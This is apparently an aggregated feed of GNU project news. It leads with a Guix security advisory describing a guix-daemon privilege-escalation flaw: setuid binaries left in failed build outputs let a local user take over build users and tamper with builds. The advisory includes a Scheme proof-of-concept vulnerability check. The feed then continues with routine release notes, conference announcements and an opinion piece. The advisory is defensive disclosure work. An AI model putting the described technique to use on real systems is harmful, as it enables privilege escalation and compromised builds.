A security issue has been identified inguix-daemonwhich allows for a local user to gain the privileges of any of the build usersand subsequently use this to manipulate the output of any build. Youare strongly advised to upgrade your daemon now (see instructionsbelow), especially on multi-user systems.
This exploit requires the ability to start a derivation build and the ability torun arbitrary code with access to the store in the root PID namespace on themachine the build occurs on. As such, this represents an increased riskprimarily to multi-user systems and systems using dedicated privilege-separationusers for various daemons: without special sandboxing measures, any process oftheirs can take advantage of this vulnerability.
VulnerabilityFor a very long time, guix-daemon has helpfully made the outputs of failedderivation buildsavailableat the same location they were at in the build container. This has aided greatlyespecially in situations where test suites require the package to already beinstalled in order to run, as it allows one to re-run the test suiteinteractively outside of the container when built with --keep-failed. Thistransferral of store items from inside the chroot to the real store wasimplemented with a simple rename, and no modification of the store item orany files it may contain.
If an attacker starts a build of a derivation that creates a binary with thesetuid and/or setgid bit in an output directory, then, and the build fails, thatbinary will be accessible unaltered for anybody on the system. The attacker or acooperating user can then execute the binary, gain the privileges, and fromthere use a combination of signals and procfs to freeze a builder, open any fileit has open via /proc/$PID/fd, and overwrite it with whatever it wants. Thismanipulation of builds can happen regardless of which user started the build, soit can work not only for producing compromised outputs for commonly-usedprograms before anybody else uses them, but also for compromising any buildsanother user happens to start.
A related vulnerability was also discovered concerning the outputs ofsuccessful builds. These weremoved -also via rename() - outside of the container prior to having theirpermissions, ownership, and timestampscanonicalized. Thismeans that there also exists a window of time for a successful build's outputsduring which a setuid/setgid binary can be executed.
In general, any time that a build user running a build for some submitter canget a setuid/setgid binary to a place the submitter can execute it, it ispossible for the submitter to use it to take over the build user. This situationalways occurs when --disable-chroot is passed to guix-daemon. This holdseven in the case where there are no dedicated build users, and builds happenunder the same user the daemon runs as, as happens during make check in theguix repository. Consequently, if a permissive umask that allows executepermission for untrusted users on directories all the way to a user's guixcheckout is used, an attacker can use that user's test-environment daemon togain control over their user while make check is running.
MitigationThis security issue has been fixed bytwocommits. Usersshould make sure they have updated to the second commit to be protected fromthis vulnerability. Upgrade instructions are in the following section. If thereis a possibility that a failed build has left a setuid/setgid binary lyingaround in the store by accident, run guix gc to remove all failed buildoutputs.
The fix was accomplished by sanitizing the permissions of all files in a failedbuild output prior to moving it to the store, and also by waiting to movesuccessful build outputs to the store until after their permissions had beencanonicalized. The sanitizing was done in such a way as to preserve as manynon-security-critical properties of failed build outputs as possible to aid indebugging. After applying these two commits, the guix package in Guix wasupdatedso that guix-daemon deployed using it would use the fixed version.
If you are using --disable-chroot, whether with dedicated build users or not,make sure that access to your daemon's socket is restricted to trustedusers. This particularly affects anyone running make check and anyone runningon GNU/Hurd. The former should either manually remove execute permission foruntrusted users on their guix checkout or apply thispatch, which restricts access to thetest-environment daemon to the user running the tests. The latter should adjustthe ownership and permissions of /var/guix/daemon-socket, which can be donefor Guix System users using the new socket-directory-{perms,group,user} fieldsin this patch.
A proof of concept is available at the end of this post. One can run this codewith:
guix repl -- setuid-exposure-vuln-check.scm
This will output whether the current guix-daemon being used is vulnerable ornot. If it is not vulnerable, the last line will contain your system is not vulnerable, otherwise the last line will contain YOUR SYSTEM IS VULNERABLE.
UpgradingDue to the severity of this security advisory, we strongly recommendall users to upgrade their guix-daemon immediately.
For Guix System, theprocedureis to reconfigure the system after a guix pull, either restartingguix-daemon or rebooting. For example:
guix pullsudo guix system reconfigure /run/current-system/configuration.scmsudo herd restart guix-daemon
where /run/current-system/configuration.scm is the current systemconfiguration but could, of course, be replaced by a systemconfiguration file of a user's choice.
For Guix running as a package manager on other distributions, oneneeds to guix pull with sudo, as the guix-daemon runs as root,and restart the guix-daemon service, asdocumented.For example, on a system using systemd to manage services, run:
sudo --login guix pullsudo systemctl restart guix-daemon.service
Note that for users with their distro's package of Guix (as opposed tohaving used the installscript)you may need to take other steps or upgrade the Guix package as perother packages on your distro. Please consult the relevantdocumentation from your distro or contact the package maintainer foradditional information or questions.
ConclusionEven with the sandboxing features of modern kernels, it can be quite challengingto synthesize a situation in which two users on the same system who aredetermined to cooperate nevertheless cannot. Guix has an especially difficultjob because it needs to not only realize such a situation, but also maintain theability to interact with both users itself, while not allowing them to cooperatethrough itself in unintended ways. Keeping failed build outputs around fordebugging introduced a vulnerability, but finding that vulnerability because ofit enabled the discovery of an additional vulnerability that would have existedanyway, and prompted the use of mechanisms for securing access to the guixdaemon.
I would like to thank Ludovic Courtès for giving feedback on thesevulnerabilities and their fixes — discussion of which led to discovering thevulnerable time window with successful build outputs — and also for helping meto discover that my email server was broken.
Proof of ConceptBelow is code to check if your guix-daemon is vulnerable to this exploit. Savethis file as setuid-exposure-vuln-check.scm and run following the instructionsabove, in "Mitigation."
(use-modules (guix) (srfi srfi-34))(define maybe-setuid-file ;; Attempt to create a setuid file in the store, with one of the build ;; users as its owner. (computed-file "maybe-setuid-file" #~(begin (call-with-output-file #$output (const #t)) (chmod #$output #o6000) ;; Failing causes guix-daemon to copy the output from ;; its temporary location back to the store. (exit 1))))(with-store store (let* ((drv (run-with-store store (lower-object maybe-setuid-file))) (out (derivation->output-path drv))) (guard (c (#t (if (zero? (logand #o6000 (stat:perms (stat out)))) (format #t "~a is not setuid: your system is not \vulnerable.~%" out) (format #t "~a is setuid: YOUR SYSTEM IS VULNERABLE.Run 'guix gc' to remove that file and upgrade.~%" out)))) (build-things store (list (derivation-file-name drv))))))
We’re excited to announce the IX International GNU Health Conference, that will take place in beautiful Sicily, Italy, at the University of Palermo this December 15th.
Mount Etna rising over suburbs of Catania, Sicily (Wikimedia)The GNU Health Conference (GHCon) is the annual conference that brings together enthusiasts and developers of GNU Health, the Libre digital health ecosystem. The conference will have thematic sessions, lightning talks and implementation cases to get to know the GNU Health and other Free/Libre software communities from around the world.
We will show the upcoming features of the Health and Hospital Information System, standards, security, privacy, the GNU Health Federation and MyGNUHealth (the Personal Health Record).
GHCon2024 – The IX International GNU Health Conference
The XVII International Workshop on eHealth in Emerging Economies (IWEEE) is about Social Medicine and addressing the reality of the underprivileged around the world. There will be workshops to debate, and share experiences from humanitarian organizations and from those working in field of Social Medicine.
In the evening we will announce and honor the winners of the GNU Health Social Medicine awards.
We are counting on you to get the most out of the conference. Most importantly, we want you to have fun, feel at home, and enjoy being part
of the GNU Health community.
The GNU Boot project previously found nonfree microcode in the first
RC1 release (in gnuboot-0.1-rc1_src.tar.xz to be exact).
This was announced in the "GNU Boot December 2023 News"
(https://lists.gnu.org/archive/html/gnuboot-announce/2023-12/msg00000.html). It
was fixed by re-making the affected tarball by hand with the nonfree
software removed and by contacting Canoeboot that had the same issue,
and by bug reporting and proposing patches to fix the issue in Guix as
well (they are still pending as we need to find a reviewer familiar
with Coreboot).
But recently we found a more problematic issue that also affects many
more distributions and all the previous GNU Boot release candidates.
The vboot source code used in Coreboot and in the vboot-utils package
available in many GNU/Linux distributions contains nonfree code in
their test data in tests/futility/data (nonfree microcode, nonfree
BIOS, nonfree Management Engine firmwares, etc).
So we had to re-release all the affected tarballs (like
gnuboot-0.1-rc1_src.tar.xz, gnuboot-0.1-rc2_src.tar.xz, etc).
We made and we improved the process along the way (we now store the
changes in tag inside our git repository and simply regenerate the
tarballs with the build system that is available for a given tag).
We are also in the process of contacting distributions and/or
coordinating with them and we also need help as there are many
distributions to contact.
To do that we started contacting the free GNU/Linux distros
(https://www.gnu.org/distros/free-distros.html) that ship the vboot
source code. We also contacted Replicant that is a free Android distro
that also ships vboot source code.
We also started to contact common distros that require certain
repositories to only have free software (so far we only contacted
Debian as that will help Trisquel fix the issue, but we also need to
contact Fedora for instance). Finding which distro to contact is made
much easier thanks to GNU's review of common distros policies
(https://www.gnu.org/distros/common-distros.html).
We coordinate that work on our bug report system at Savannah,
especially in the bug #66246
(https://savannah.gnu.org/bugs/index.php?66246).
We're excited to announce the IX International GNU Health Conference, that will take place in beautiful Sicily, Italy, at the University of Palermo this December 15th.
The GNU Health Conference (GHCon) is the annual conference that brings together enthusiasts and developers of GNU Health, the Libre digital health ecosystem. The conference will have thematic sessions, lightning talks and implementation cases to get to know the GNU Health and other Free/Libre software communities from around the world.
We will show the upcoming features of the Health and Hospital Information System, standards, security, privacy, the GNU Health Federation and MyGNUHealth (the Personal Health Record)
The XVII International Workshop on eHealth in Emerging Economies (IWEEE) is about Social Medicine and addressing the reality of the underprivileged around the world. There will be workshops to debate, and share experiences from humanitarian organizations and from those working in field of Social Medicine.
In the evening we will announce and honor the winners of the GNU Health Social Medicine awards.
We are counting on you to get the most out of the conference. Most importantly, we want you to have fun, feel at home, and enjoy being part of the GNU Health community.
I have decided to start using sourcehut for a few of my projects. The first projects landing there are bugz-mode and a68-mode, two Emacs modes. The first implements a quite efficient and comfortable interface to bugzilla. The second is a programming mode for Algol 68.
GNUnet 0.22.1 This is a bugfix release for gnunet 0.22.0.It addresses some issues in HELLO URI handling and formatting aswell as regressions in the DHT subsystem along with other bug fixes.
Links * Source: https://ftpmirror.gnu.org/gnunet/gnunet-0.22.1.tar.gz ( https://ftpmirror.gnu.org/gnunet/gnunet-0.22.1.tar.gz.sig )
* Source (meson): https://buildbot.gnunet.org/gnunet-0.22.1-meson.tar.gz ( https://buildbot.gnunet.org/gnunet-0.22.1-meson.tar.gz.sig )
* Detailed list of changes: https://git.gnunet.org/gnunet.git/log/?h=v0.22.1
* NEWS: https://git.gnunet.org/gnunet.git/tree/NEWS?h=v0.22.1
* The list of closed issues in the bug tracker: https://bugs.gnunet.org/changelog_page.php?version_id=457
The GPG key used to sign is: 3D11063C10F98D14BD24D1470B0998EF86F59B6A
Note that due to mirror synchronization, not all links may be functionalearly after the release. For direct access try https://ftp.gnu.org/gnu/gnunet/
BOSTON (October 8, 2024) -- The Free Software Foundation (FSF) hasannounced that it is taking part in the US National Institute ofStandards and Technology (NIST)'s consortium on the safety of(so-called) artificial intelligence, particularly with reference to"generative" AI systems. The FSF will ensure the free softwareperspective is adequately represented in these discussions.
It’s no news. They’re stealing the Internet from us and we must do something about it. What it used to be a fun, collaborative hacking space is now ruled by corporations and narcissistic billionaires. Proprietary centralized social networks have become a space for hate, discrimination and propaganda. The messages that you see are those that they want you to see. Your data is no longer yours. They have become a massive thought control machine. You read what they want you to read and, in the end, you will end up writing and doing what they want you to write and to do. It’s a matter of time and money, and they have both.
These corporate-driven social networks are deceiving. They make us fall into false assumptions in a distorted reality. This delusion hits both individuals and organizations. For instance, in GNU Solidario and GNU Health, we fight for Social Medicine and for the rights of human and non-human animals. When we want to share an event, to make a fundraising campaign or to denounce human or animal rights violations we want the message to reach out as many people as possible. We could think, why not share it with our followers on Twitter / X? Experience has it, corporate social networks have not really made a difference in the outcomes. They will promote or “shadow ban” the message depending on who wrote it. You can guess the results for those who fight against neoliberal capitalism.
Social pressure exists, and is not trivial to overcome. Many fear that leaving proprietary centralized social networks that have been using for years will result in losing the status and contacts they’ve built throughout the years. Again, it’s not really a big deal. And we have great news, there are decentralized, community-driven alternatives! Some of those alternatives are Mastodon, Friendica or Diaspora. Not only social networks, today there is an free software alternative to pretty much any proprietary solution (search engines, scientific programs, multimedia, office suites, databases, games…)
There is a correlation between Free Software, freedom and privacy. The more Free Software, the more freedom and privacy you enjoy. The contrary also applies: Proprietary software is inversely proportional to our freedom, both at individual and collective level. There is no transparency, no privacy, no control, no rights in proprietary applications, networks or clouds.
In the last decades, the tech giants have been busy in a campaign to dismantle the Free Software philosophy and community. The “open source” euphemism is one of them. Richard Stallman (creator of the GNU project and the Free Software Foundation) has been warning us about the dangers of “Open Source”. Free societies are built with free software, not with open source. I know some members in the free software community use both terms interchangeably, but I am convinced using the “Free Software” terms not only delivers software, but also freedom to our society.
Internet is no longer fun or empathetic. It has become a hostile and toxic environment, the medium for corporations and elites that increase concentration of power, social gradient and create very unjust societies. They use our data to control individuals and governments. We certainly don’t want to be part of that.
It is our moral duty to bring back spirit of solidarity that RMS delivered in the late 80’s, and that made possible the GNU movement, the best operating systems, programming languages, web servers and database engines for everyone. The GNU project was the inspiration for projects like GNU Health, helping millions around the globe, delivering freedom and equity in healthcare.
In the end, it is up to us to embrace federated, community driven social networks and free software applications. Millions of individuals, activists, free software projects, NGOs and even the European Union have already joined the Fediverse and Mastodon. It only takes an initial push to break the social pressure to set ourselves and our societies free.
Citing our friends from GNUnet: “You broke the Internet… we’ll build a GNU one”.
Happy hacking!
Follow us in Mastodon: https://mastodon.social/@gnuhealth
Original post: https://my.gnusolidario.org/2024/09/26/time-to-take-back-the-internet/
It’s no news. They’re stealing the Internet from us and we must do something about it. What it used to be a fun, collaborative hacking space is now ruled by corporations and narcissistic billionaires. Proprietary centralized social networks have become a space for hate, discrimination and propaganda. The messages that you see are those that they want you to see. Your data is no longer yours. They have become a massive thought control machine. You read what they want you to read and, in the end, you will end up writing and doing what they want you to write and to do. It’s a matter of time and money, and they have both.
These corporate-driven social networks are deceiving. They make us fall into false assumptions in a distorted reality. This delusion hits both individuals and organizations. For instance, in GNU Solidario and GNU Health, we fight for Social Medicine and for the rights of human and non-human animals. When we want to share an event, to make a fundraising campaign or to denounce human or animal rights violations we want the message to reach out as many people as possible. We could think, why not share it with our followers on Twitter / X? Experience has it, corporate social networks have not really made a difference in the outcomes. They will promote or “shadow ban” the message depending on who wrote it. You can guess the results for those who fight against neoliberal capitalism.
“The many branches of the Fediverse” (credits: Axbom)
Social pressure exists, and is not trivial to overcome. Many fear that leaving proprietary centralized social networks that have been using for years will result in losing the status and contacts they’ve built throughout the years. Again, it’s not really a big deal. And we have great news, there are decentralized, community-driven alternatives! Some of those alternatives are Mastodon, Friendica or Diaspora. Not only social networks, today there is an free software alternative to pretty much any proprietary solution (search engines, scientific programs, multimedia, office suites, databases, games…)
The GNU head, symbol of the GNU project
There is a correlation between Free Software, freedom and privacy. The more Free Software, the more freedom and privacy you enjoy. The contrary also applies: Proprietary software is inversely proportional to our freedom, both at individual and collective level. There is no transparency, no privacy, no control, no rights in proprietary applications, networks or clouds.
In the last decades, the tech giants have been busy in a campaign to dismantle the Free Software philosophy and community. The “open source” euphemism is one of them. Richard Stallman (creator of the GNU project and the Free Software Foundation) has been warning us about the dangers of “Open Source”. Free societies are built with free software, not with open source. I know some members in the free software community use both terms interchangeably, but I am convinced using the “Free Software” terms not only delivers software, but also freedom to our society.
Internet is no longer fun or empathetic. It has become a hostile and toxic environment, the medium for corporations and elites that increase concentration of power, social gradient and create very unjust societies. They use our data to control individuals and governments. We certainly don’t want to be part of that.
It is our moral duty to bring back spirit of solidarity that RMS delivered in the late 80’s, and that made possible the GNU movement, the best operating systems, programming languages, web servers and database engines for everyone. The GNU project was the inspiration for projects like GNU Health, helping millions around the globe, delivering freedom and equity in healthcare.
In the end, it is up to us to embrace federated, community driven social networks and free software applications. Millions of individuals, activists, free software projects, NGOs and even the European Union have already joined the Fediverse and Mastodon. It only takes an initial push to break the social pressure to set ourselves and our societies free.
Collage with some members of the GNU Health community around the world
Citing our friends from GNUnet: “You broke the Internet… we’ll build a GNU one”.
Happy hacking!
Follow us in Mastodon: https://mastodon.social/@gnuhealth
The Libtool Team is pleased to announce the release of libtool 2.5.3.
GNU Libtool hides the complexity of using shared libraries behind a
consistent, portable interface. GNU Libtool ships with GNU libltdl, which
hides the complexity of loading dynamic runtime libraries (modules)
behind a consistent, portable interface.
There have been 14 commits by 2 people in the 27 days since 2.5.2.
See the NEWS below for a brief summary. An alpha and two beta releases
of GNU Libtool have been released prior to this stable release. Please
view the NEWS entries for those releases for a more complete summary of
the updates between stable releases 2.4.7 and 2.5.3.
Thanks to everyone who has contributed!
The following people contributed changes to this release:
Bruno Haible (3)
Ileana Dumitrescu (11)
Ileana
[on behalf of the libtool maintainers]
==================================================================
Here is the GNU libtool home page:
https://gnu.org/s/libtool/
For a summary of changes and contributors, see:
https://git.sv.gnu.org/gitweb/?p=libtool.git;a=shortlog;h=v2.5.3
or run this command from a git-cloned libtool directory:
git shortlog v2.5.2..v2.5.3
Here are the compressed sources:
https://ftpmirror.gnu.org/libtool/libtool-2.5.3.tar.gz (2.0MB)
https://ftpmirror.gnu.org/libtool/libtool-2.5.3.tar.xz (1.1MB)
Here are the GPG detached signatures:
https://ftpmirror.gnu.org/libtool/libtool-2.5.3.tar.gz.sig
https://ftpmirror.gnu.org/libtool/libtool-2.5.3.tar.xz.sig
Use a mirror for higher download bandwidth:
https://www.gnu.org/order/ftp.html
Verify the base64 SHA256 checksum with cksum -a sha256 --check
from coreutils-9.2 or OpenBSD's cksum since 2007.
Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact. First, be sure to download both the .sig file
and the corresponding tarball. Then, run a command like this:
gpg --verify libtool-2.5.3.tar.gz.sig
The signature should match the fingerprint of the following key:
If that command fails because you don't have the required public key,
or that public key has expired, try the following commands to retrieve
or refresh it, and then rerun the 'gpg --verify' command.
This release was bootstrapped with the following tools:
Autoconf 2.72e
Automake 1.17
Gnulib v1.0-803-g30417e7f91
NEWS
Noteworthy changes in release 2.5.3 (2024-09-25) [stable]
** New features:
Add 'aarch64' support to the file magic test, which allows for
shared libraries to be built with Mingw for aarch64.
** Bug fixes:
The configure options --with-pic and --without-pic have been renamed
to --enable-pic and --disable-pic, respectively. The old names
--with-pic and --without-pic are still supported, though, for
backward compatibility.
The configure option --with-aix-soname has been renamed to
--enable-aix-soname. The old name --with-aix-soname is still
supported, though, for backward compatibility.
Fix conflicting warnings about AC_PROG_RANLIB.
Document situations where -export-symbols does not work.
Update FSF office address with URL in each file's license block.
Add checks for aclocal in standalone.at and subproject.at test files
that report failures in Linux From Scratch and Darwin builds.
GNU Parallel 20240922 ('Gold Apollo AR924') has been released. It is available for download at: lbry://@GnuParallel:4
Quote of the month:
Recently executed a flawless live data migration of ~2.4pb using GNU parallel for scale and bash scripts.
-- @mechanicker@twitter Dhruva
New in this release:
--fast disables a lot of functionality to speed up running jobs.
Bug fixes and man page updates.
News about GNU Parallel:
Job requiring GNU Parallel knowledge https://www.capgemini.com/ca-en/jobs/Id6D4pEBZ6aB2WPS2aAJ/systems-engineer/
GNU Parallel - For people who live life in the parallel lane.
If you like GNU Parallel record a video testimonial: Say who you are, what you use GNU Parallel for, how it helps you, and what you like most about it. Include a command that uses GNU Parallel if you feel like it.
About GNU ParallelGNU Parallel is a shell tool for executing jobs in parallel using one or more computers. A job can be a single command or a small script that has to be run for each of the lines in the input. The typical input is a list of files, a list of hosts, a list of users, a list of URLs, or a list of tables. A job can also be a command that reads from a pipe. GNU Parallel can then split the input and pipe it into commands in parallel.
If you use xargs and tee today you will find GNU Parallel very easy to use as GNU Parallel is written to have the same options as xargs. If you write loops in shell, you will find GNU Parallel may be able to replace most of the loops and make them run faster by running several jobs in parallel. GNU Parallel can even replace nested loops.
GNU Parallel makes sure output from the commands is the same output as you would get had you run the commands sequentially. This makes it possible to use output from GNU Parallel as input for other programs.
For example you can run this to convert all jpeg files into png and gif files and have a progress bar:
Get the merchandise https://gnuparallel.threadless.com/designs/gnu-parallel
Request or write a review for your favourite blog or magazine
Request or build a package for your favourite distribution (if it is
not already there)
Invite me for your next conference
If you use programs that use GNU Parallel for research:
Please cite GNU Parallel in you publications (use --citation)
If GNU Parallel saves you money:
(Have your company) donate to FSF https://my.fsf.org/donate/
About GNU SQLGNU sql aims to give a simple, unified interface for accessing databases through all the different databases' command line clients. So far the focus has been on giving a common way to specify login information (protocol, username, password, hostname, and port number), size (database and table size), and running queries.
The database is addressed using a DBURL. If commands are left out you will get that database's interactive shell.
When using GNU SQL for a publication please cite:
O. Tange (2011): GNU SQL - A Command Line Tool for Accessing Different Databases Using DBURLs, ;login: The USENIX Magazine, April 2011:29-32.
About GNU NiceloadGNU niceload slows down a program when the computer load average (or other system activity) is above a certain limit. When the limit is reached the program will be suspended for some time. If the limit is a soft limit the program will be allowed to run for short amounts of time before being suspended again. If the limit is a hard limit the program will only be allowed to run when the system is below the
limit.
Stow 2.4.1 has been released. This release contains some minor bug-fixes -- specifically, fixing the --dotfiles option to work correctly with ignore lists, allowing options in .stowrc with spaces, and avoiding a spurious warning on Perl >= 5.40. There were also some clean-ups and improvements, mostly internal and not visible to users. Read details of what's new: http://git.savannah.gnu.org/cgit/stow.git/tree/NEWS
The Libtool Team is pleased to announce the release of libtool 2.5.2, a beta release.
This beta release was not planned, but additional testing of a recent bugfix
was requested for distros to have the chance to test it with mass-rebuilds.
The details of this bugfix can be found here:
https://debbugs.gnu.org/cgi/bugreport.cgi?bug=71489
The commit for this bugfix can be found here:
https://git.savannah.gnu.org/cgit/libtool.git/commit/?id=0e1b33332429cd578367bd0ad420c065d5caf0ac
I hope to release the stable in a couple of weeks if testing goes well!
GNU Libtool hides the complexity of using shared libraries behind a
consistent, portable interface. GNU Libtool ships with GNU libltdl, which
hides the complexity of loading dynamic runtime libraries (modules)
behind a consistent, portable interface.
There have been 9 commits by 4 people in the 35 days since 2.5.1.
See the NEWS below for a brief summary.
Thanks to everyone who has contributed!
The following people contributed changes to this release:
Ileana
[on behalf of the libtool maintainers]
==================================================================
Here is the GNU libtool home page:
https://gnu.org/s/libtool/
For a summary of changes and contributors, see:
https://git.sv.gnu.org/gitweb/?p=libtool.git;a=shortlog;h=v2.5.2
or run this command from a git-cloned libtool directory:
git shortlog v2.5.1..v2.5.2
Here are the compressed sources:
https://alpha.gnu.org/gnu/libtool/libtool-2.5.2.tar.gz (1.9MB)
https://alpha.gnu.org/gnu/libtool/libtool-2.5.2.tar.xz (1.0MB)
Here are the GPG detached signatures:
https://alpha.gnu.org/gnu/libtool/libtool-2.5.2.tar.gz.sig
https://alpha.gnu.org/gnu/libtool/libtool-2.5.2.tar.xz.sig
Use a mirror for higher download bandwidth:
https://www.gnu.org/order/ftp.html
Verify the base64 SHA256 checksum with cksum -a sha256 --check
from coreutils-9.2 or OpenBSD's cksum since 2007.
Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact. First, be sure to download both the .sig file
and the corresponding tarball. Then, run a command like this:
gpg --verify libtool-2.5.2.tar.gz.sig
The signature should match the fingerprint of the following key:
If that command fails because you don't have the required public key,
or that public key has expired, try the following commands to retrieve
or refresh it, and then rerun the 'gpg --verify' command.
This release was bootstrapped with the following tools:
Autoconf 2.72e
Automake 1.17
Gnulib v1.0-563-gd3efdd55f3
NEWS
Noteworthy changes in release 2.5.2 (2024-08-29) [beta]
** Bug fixes:
Use shared objects built in source tree instead of the installed
versions for more reliable testing.
Fix test in bug_62343.at for confirmed Cygwin/Mingw32 where the
incorrect architecture version of a compiler was generating
object files that could not be linked with a library file.
GNUnet 0.22.0 released We are pleased to announce the release of GNUnet 0.22.0.
GNUnet is an alternative network stack for building secure, decentralized and privacy-preserving distributed applications. Our goal is to replace the old insecure Internet protocol stack. Starting from an application for secure publication of files, it has grown to include all kinds of basic protocol components and applications towards the creation of a GNU internet.
This is a new major release. It breaks protocol compatibility with the 0.21.x versions. Please be aware that Git master is thus henceforth (and has been for a while) INCOMPATIBLE with the 0.21.x GNUnet network, and interactions between old and new peers will result in issues. In terms of usability, users should be aware that there are still a number of known open issues in particular with respect to ease of use, but also some critical privacy issues especially for mobile users. Also, the nascent network is tiny and thus unlikely to provide good anonymity or extensive amounts of interesting information. As a result, the 0.22.0 release is still only suitable for early adopters with some reasonable pain tolerance .
Download links * gnunet-0.22.0.tar.gz ( signature )
* gnunet-0.22.0-meson.tar.gz ( signature ) NEW: Test tarball made using the meson build system.
* gnunet-gtk-0.22.0.tar.gz ( signature )
* gnunet-fuse-0.22.0.tar.gz ( signature )
The GPG key used to sign is: 3D11063C10F98D14BD24D1470B0998EF86F59B6A
Note that due to mirror synchronization, not all links might be functional early after the release. For direct access try http://ftp.gnu.org/gnu/gnunet/
Changes A detailed list of changes can be found in the git log , the NEWS andthe bug tracker .Noteworthy highlights are
transport :
A new experimental HTTP/3 communicator for peer-to-peer transport communicator.
New experimental NAT traversal functionality.
util :
An implementation of Hybrid Public Key Encryption (HPKE) and related KEMs which are now used across the stack.
An implementation of Elligator used as part of our Diffie-Hellman exchanges and KEMs
hostlist : The bootstrap URL is changed to https://bootstrap.gnunet.org/v22 and https://bootstrap.gnunet.org/latest for the release and development version (git head), respectively.
gnunet-hello : A new CLI to import/export connectivity information (HELLOs) of peers manually.
namestore : Significant zone import performance improvements in preparation for DNS TLD mirror deployments (.se, .nu, etc) .
messenger :
Implementation of discourse subscriptions for live data streaming in chat rooms.
New functionality in CLI for the Messenger service to stream data via standard input and output.
Build System :
Build variant to build a monolithic GNUnet library.
Cross compile the monolithic library for use on Android devices. An Android prototype can be found in this repository.
Known Issues * There are known major design issues in the CORE subsystems which will need to be addressed in the future to achieve acceptable usability, performance and security.
* There are known moderate implementation limitations in CADET that negatively impact performance.
* There are known moderate design issues in FS that also impact usability and performance.
* There are minor implementation limitations in SET that create unnecessary attack surface for availability.
* The RPS subsystem remains experimental.
In addition to this list, you may also want to consult our bug tracker at bugs.gnunet.org which lists about 190 more specific issues.
Thanks This release was the work of many people. The following people contributed code and were thus easily identified:Christian Grothoff, t3sserakt, TheJackiMonster, Pedram Fardzadeh, Shichao, fence, dvn, nullptrderef and Martin Schanzenbach.
libgnunetchat 0.5.1 released Additionally there's a minor release of libgnunetchat 0.5.1 which fixes multiple issues to improve overall reliability.
Noteworthy changes in 0.5.1 * Fixes discourses stalling application on exit of its process.
* Fixes comparison of egos for proper account management.
* Implements automatic Github workflow for builds and testing.
* Fixes destruction of contacts and lobbies.
* Adjust internal message handling.
* Adjust all test cases to run independent of each other.
* Add test case for group opening and leaving.
A detailed list of changes can be found in the ChangeLog .
Messenger-GTK 0.10.1 Utilizing latest changes in GNUnet and libgnunetchat, there's a new release of the messenger application bringing live chats which allow streaming your own voice or video with other contacts. This release requires libgnunetchat 0.5.1.
Noteworthy changes in 0.10.1 * Discourses have been added for live voice and video chats with other contacts.
* Capturing a specific application or a whole monitor can be selected as video source in a live chat.
Keep in mind the application is still in development. So there may still be major bugs keeping you from getting a reliable connection. But if you encounter such issue, feel free to consult our bug tracker at bugs.gnunet.org .
Screen is a full-screen window manager that multiplexes a physical
terminal between several processes, typically interactive shells.
The 5.0.0 release includes the following changes to the previous
release 4.9.1:
Rewritten authentication mechanism
Add escape %T to show current tty for window
Add escape %O to show number of currently open windows
Use wcwdith() instead of UTF-8 hard-coded tables
New commands:
auth [on|off]
Provides password protection
status [top|up|down|bottom] [left|right]
The status window by default is in bottom-left corner.
This command can move status messages to any corner of the screen.
truecolor [on|off]
multiinput
Input to multiple windows at the same time
Removed commands:
time
debug
password
maxwin
nethack
Fixes:
Screen buffers ESC keypresses indefinitely
Crashes after passing through a zmodem transfer
Fix double -U issue
Release is available for download:
https://ftp.gnu.org/gnu/screen/
Please report any bugs or regressions.
Thanks to everyone who contributed to this release.
GSoC Work Product: GNUnet over HTTP/3 Goals of the Project. This project aimed to implement a new communicator for GNUnet's Transport Next Generation (TNG) using the HTTP/3 protocol.
What I did. We chose ngtcp2 and nghttp3 for their stability and adherence to RFC standards.I began by studying communicator fundamentals and analyzing relevant code examples.I then created a QUIC communicator using libngtcp2, implementing essential communication features.Building on this, I integrated libnghttp3 to support HTTP/3 layer communication.After establishing basic uni-directional communication, I proceeded to implement bi-directional capabilities.With the help and guidance of my mentors, I completed the above work, including the selection and design of message transmission methods and the implementation of code.
The current state. We have two branches, dev/shichao/http3 for basic communication and dev/shichao/http3bidirect for bi-directional communication. They can pass the basic tests.However, we found that there were occasional failures during the test.We currently assume that this is caused by the test harness not being able to process thereceived data packets in time.
What's left to do. There are still many areas that can be improved in the HTTP/3 communicator, such as using CID map instead of IPaddress map. In addition, in bi-directional communication, the server's sending rate is slightly lower than the client's transmission rate, and this will be optimized in the future.Finally, integrating the Peer Identity into the TLS handshake in order to authenticate the peers is a naturalfeature to implement.
What code got merged (or not) upstream. All the code is available upstream in the master branch and will be available with the next release.
Challenges I Encountered. Initially, I was unfamiliar with the ngtcp2 and nghttp3 libraries. While there were some examples available, I found limited guidance for more advanced usage. Through careful study and experimentation, I gradually gained a deeper understanding of these libraries.But in this process, I have a deeper understanding of QUIC and HTTP/3 protocols, and also improved my coding skills.
GNU Parallel 20240822 ('Southport') has been released. It is available for download at: lbry://@GnuParallel:4
Quote of the month:
honestly the coolest software i've ever seen gotta be gnu parallel or
ffmpeg, nothing like them
-- @scootykins scoot
New in this release:
--match Match input source with regexp to set replacement fields.
{:%fmt} Use printf formatting of replacement strings.
Bug fixes and man page updates.
News about GNU Parallel:
Powerful GNU parallel, more than a loop https://www.linkedin.com/pulse/powerful-gnu-parallel-more-than-loop-zhenguo-zhang-18dxc
How To Increase File Transfer Speed Using Parallel Rsync? https://contentbase.com/blog/increase-file-transfer-speed-parallel-rsync/
Converting WebP Images to PNG Using parallel and dwebp https://bytefreaks.net/2024/07/27
Turbocharging the Box CLI with GNU Parallel https://medium.com/box-developer-blog/turbocharging-the-box-cli-with-gnu-parallel-ee44c48811c0
GNU Parallel - For people who live life in the parallel lane.
If you like GNU Parallel record a video testimonial: Say who you are, what you use GNU Parallel for, how it helps you, and what you like most about it. Include a command that uses GNU Parallel if you feel like it.
About GNU Parallel
GNU Parallel is a shell tool for executing jobs in parallel using one or more computers. A job can be a single command or a small script that has to be run for each of the lines in the input. The typical input is a list of files, a list of hosts, a list of users, a list of URLs, or a list of tables. A job can also be a command that reads from a pipe. GNU Parallel can then split the input and pipe it into commands in parallel.
If you use xargs and tee today you will find GNU Parallel very easy to use as GNU Parallel is written to have the same options as xargs. If you write loops in shell, you will find GNU Parallel may be able to replace most of the loops and make them run faster by running several jobs in parallel. GNU Parallel can even replace nested loops.
GNU Parallel makes sure output from the commands is the same output as you would get had you run the commands sequentially. This makes it possible to use output from GNU Parallel as input for other programs.
For example you can run this to convert all jpeg files into png and gif files and have a progress bar:
Watch the intro video on http://www.youtube.com/playlist?list=PL284C9FF2488BC6D1
